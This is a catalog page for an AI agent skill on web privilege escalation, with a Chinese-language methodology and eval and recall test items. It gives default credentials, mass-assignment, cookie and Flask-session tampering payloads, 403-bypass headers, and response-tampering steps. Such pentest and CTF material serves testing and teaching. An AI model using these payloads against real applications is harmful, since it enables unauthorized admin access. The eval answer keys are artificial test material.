
Privilege Escalation Web
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
privilege-escalation-web is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- privilege-escalation-web
- AI & Agent Building
- AI-coding skill
Privilege Escalation Web by the numbers
- 15 all-time installs (skills.sh)
- Ranked #11,165 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill privilege-escalation-webAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Web 权限提升方法论
Web 权限提升和系统提权不同——不需要 exploit,只需要找到应用逻辑中的权限检查漏洞。
⛔ 深入参考(必读)
- Mass Assignment 字段清单、HTTP Header 篡改、Cookie 篡改 → references/web-privesc-techniques.md
Phase 1: 认证和账户发现
默认凭据(最快路径)
admin:admin, admin:password, admin:123456
root:root, root:toor, test:test, guest:guest→ 更完整列表参考 default-cred-sweep
注册功能分析
注册新账户,用代理拦截请求,记录请求格式、发送字段、响应字段(可能暴露隐藏字段名)。 检查 /docs, /swagger, /openapi.json。
Phase 2: Mass Assignment(核心技术)
在注册或更新请求中添加应用未预期的字段(每次只加一个):
{"username":"test", "password":"pass", "role":"admin"}
{"username":"test", "password":"pass", "is_admin":true}
{"username":"test", "password":"pass", "is_staff":1}→ 完整字段清单和框架惯例 → references/web-privesc-techniques.md
Phase 3: 管理端点直接访问
GET /admin → 403? → 试 /admin/ (trailing slash) 或 /Admin (大小写)
GET /api/admin/users → 200?→ 更多路径绕过参考 api-fuzz
Phase 4: HTTP 方法/Header 篡改 + Cookie 篡改
GET /admin/flag → 403 → 试 POST/PUT/PATCH
Header: X-Original-URL: /admin/flag / X-Forwarded-For: 127.0.0.1
Cookie: role=user → role=admin / admin=0 → admin=1→ 完整 payload 和 Flask session 伪造 → references/web-privesc-techniques.md
Phase 5: 对象级越权
修改 URL/参数中的 ID 访问他人资源 → 详细方法参考 idor-methodology
注意事项
- Mass Assignment 每次只改一个字段——全改可能触发 WAF
- 注册后检查
GET /api/users/me确认权限是否真的变了 - 结合 IDOR + Mass Assignment 效果更好
{
"skill_name": "privilege-escalation-web",
"evals": [
{
"id": 1,
"name": "privesc-mass-assignment-field-discovery",
"prompt": "POST /api/register 发送 {\"username\":\"test\",\"password\":\"pass\"} 后,响应中返回了 {\"id\":5,\"username\":\"test\",\"role\":\"user\",\"is_admin\":false,\"group_id\":1}。你想提权。请描述你发现可注入字段的具体方法。",
"expected_output": "从响应中发现隐藏字段(role, is_admin, group_id)并逐个注入测试",
"expectations": [
"响应字段|role|is_admin|group_id|响应泄露可注入字段",
"逐个测试|每次加一个|单独测试每个字段",
"role=admin|is_admin=true|group_id=0|具体payload",
"注册|更新|PUT /api/users/me|不同端点",
"验证|GET /api/users/me|确认是否生效"
],
"required_terms": [
"GET /api/users/me",
"is_admin",
"role=admin"
]
},
{
"id": 2,
"name": "privesc-403-bypass-headers",
"prompt": "GET /admin 返回 403 Forbidden。目标使用 Nginx 反向代理 + Flask 后端。请列出至少 5 种具体的绕过方法。",
"expected_output": "Header 注入 + 路径变体 + 方法切换的组合绕过",
"expectations": [
"X-Original-URL|X-Rewrite-URL|特殊Header覆盖路径",
"/admin/.|/admin..;/|/Admin|路径变体",
"X-Forwarded-For: 127.0.0.1|IP伪造|本地访问",
"POST|PATCH|OPTIONS|HTTP方法切换",
"Nginx|代理|前后端解析差异|路径规范化"
],
"required_terms": [
"/Admin",
"X-Forwarded-For: 127.0.0.1",
"POST"
]
},
{
"id": 3,
"name": "privesc-base64-cookie-tampering",
"prompt": "Cookie: session=eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9。这是 Base64 编码。请描述完整的篡改流程。",
"expected_output": "Base64 解码 → JSON {user:guest,role:user} → 修改 role:admin → 重新编码 → 替换 Cookie",
"expectations": [
"Base64解码|{\"user\":\"guest\",\"role\":\"user\"}|JSON内容",
"role|admin|修改角色|篡改字段",
"重新Base64编码|替换Cookie|发送请求",
"无签名|没有HMAC|明文Cookie|可直接修改",
"验证|检查响应|是否获取管理员权限"
],
"required_terms": [
"{\"user\":\"guest\",\"role\":\"user\"}",
"role",
"admin"
]
},
{
"id": 4,
"name": "privesc-flask-session-forgery",
"prompt": "目标是 Flask 应用,Cookie 名为 session,值以 eyJ 开头(Flask itsdangerous 签名)。你通过 LFI 读到了 app.py 中的 SECRET_KEY='supersecret'。请描述提权步骤。",
"expected_output": "flask-unsign 解码 → 修改 role → 用 SECRET_KEY 重新签名",
"expectations": [
"flask-unsign|flask session|itsdangerous",
"SECRET_KEY|supersecret|已知密钥",
"解码|查看session内容|当前字段",
"重新签名|--sign|用密钥签名|伪造session",
"role|admin|is_admin|修改权限字段"
],
"required_terms": [
"SECRET_KEY",
"is_admin",
"flask session"
]
},
{
"id": 5,
"name": "privesc-http-method-tampering",
"prompt": "GET /admin/users 返回用户列表(只读),POST /admin/users/{id}/promote 返回 403。你以普通用户身份操作。请描述你尝试通过 HTTP 方法篡改绕过权限控制的完整策略。",
"expected_output": "尝试 PUT/PATCH/DELETE 替代 POST,X-HTTP-Method-Override header,参数 _method=POST,不同 Content-Type",
"expectations": [
"PUT|PATCH|DELETE|其他HTTP方法替代POST",
"X-HTTP-Method-Override|X-Method-Override|方法覆盖Header",
"_method=POST|method=POST|参数级方法覆盖",
"Content-Type|application/json|不同格式",
"逐一测试|每种方法单独试|排除法"
],
"required_terms": [
"_method=POST",
"method=POST",
"application/json"
]
}
]
}
{
"skill_id": "privilege-escalation-web",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": [
"privilege escalation",
"提权",
"权限提升",
"privesc"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "Web 提权特定搜索",
"keywords": [
"HTTP method",
"RBAC",
"admin bypass",
"角色"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被 Linux 提权召回",
"keywords": [
"SUID",
"sudo",
"kernel exploit"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "privilege-escalation-web-scenario",
"scenario": "已获取普通用户权限,需要提升到 admin。请搜索 Web 应用权限提升方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "privilege escalation|提权|权限提升|admin"
},
{
"tool": "read_skill",
"id": "privilege-escalation-web"
}
]
}
]
}
Web 权限提升详细技术
Mass Assignment 完整字段清单
权限字段(逐个测试,每次只加一个)
{"role":"admin"}
{"is_admin":true}
{"is_staff":1}
{"admin":1}
{"group":"administrators"}
{"permissions":["admin"]}
{"type":"admin"}
{"privilege":"high"}
{"level":9}
{"is_superuser":true}非权限但有用的字段
{"balance":999999}
{"verified":true}
{"email_confirmed":true}
{"credits":99999}框架惯例字段名
- Django:
is_staff,is_superuser,groups - Rails:
admin,role - Laravel:
is_admin,role_id - Spring:
authorities,roles
字段名发现方法
1. GET /api/users/me 响应中暴露的字段 2. Swagger/OpenAPI 文档的字段定义 3. 发送无效值触发错误信息("role" must be one of: user, admin, superadmin) 4. 框架惯例猜测
管理端点直接访问
GET /admin → 403? → 试 /admin/ (trailing slash)
GET /Admin → 200? (大小写)
GET /api/admin/users → 200?
GET /dashboard → 200?HTTP 方法与 Header 篡改
方法切换
GET /admin/flag → 403
POST /admin/flag → 200?
PUT /admin/flag → 200?
PATCH /admin/flag → 200?特殊 Header(绕过反向代理路径限制)
X-Original-URL: /admin/flag
X-Rewrite-URL: /admin/flag
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1Cookie/Session 篡改
明文 Cookie
role=user → role=admin
admin=0 → admin=1
is_logged_in=false → is_logged_in=trueBase64 编码 Cookie
import base64
cookie = base64.b64decode("eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9")
# → {"user":"guest","role":"user"}
new_cookie = base64.b64encode(b'{"user":"guest","role":"admin"}')Flask Session
Flask session 是签名的 JSON(不加密)。如果获取到 secret_key → 可伪造任意 session。 JWT 篡改参考 jwt-attack-methodology。
SPA 前端鉴权绕过
现代 SPA(Vue/React/Angular)的权限检查常在前端完成——后端 API 可能完全没有鉴权。
后台页面一闪而过
访问管理后台时,页面在一瞬间加载出管理界面,然后立即重定向到登录页。这说明前端 JS 已经加载了管理界面的所有代码和接口,只是被 JS 路由守卫拦截了。
利用方法: 1. 用代理拦截重定向响应包(302/301),不让浏览器跳转 2. 等待管理后台的 JS 全部加载完成 3. 从加载的 JS 中提取所有管理接口(用 urlfind / 熊猫头 等工具) 4. 直接对这些管理接口测试未授权访问
如果后台页面不会一闪而过(纯登录框),手动输入账号密码,拦截服务端响应改为成功:
响应篡改绕过
当登录/权限检查在前端执行时,修改响应包可以绕过:
# 后端返回的原始响应
{"success": false, "code": 401, "message": "密码错误"}
# 篡改为
{"success": true, "code": 200, "message": "成功", "data": true}判断条件:如果响应中没有返回 JWT/Token/Session 等后端鉴权凭据,说明鉴权逻辑完全在前端——响应篡改就有效。
篡改后进入管理界面(虽然是"虚假"的登录状态),重点不是使用界面功能,而是: 1. 界面加载了新的 JS → 从中提取管理 API 接口 2. 直接测试这些 API 接口的未授权访问 3. 界面可能展示了隐藏的功能入口
管理员邀请接口提权
当应用有团队/组织功能(管理员可以邀请成员)时:
# 1. 管理员(B)生成"查看者"邀请链接 → 普通用户(A)点击成为团队成员
# 2. 从管理员的请求中获取"编辑者/管理员"邀请接口
POST /api/team/invite
{"role": "viewer", "teamId": "xxx"} ← 管理员生成的查看者链接
# 3. 用普通用户身份调用同一接口,修改 role
POST /api/team/invite
{"role": "editor", "teamId": "xxx"} ← 自己生成编辑者链接
# 4. 自己点击自己生成的链接 → 提升为编辑者/管理员关键:两个账户 A(普通) 和 B(管理员) 都是自己的测试账户,A 使用 B 才有权限的接口来提升自己。
type 参数角色切换
权限相关的数字参数,尝试修改值以升级角色:
type=0 # 查看者
type=1 # 编辑者
type=2 # 管理员
role="user" → role="admin"
role="user" → role="root"
role="viewer" → role="editor"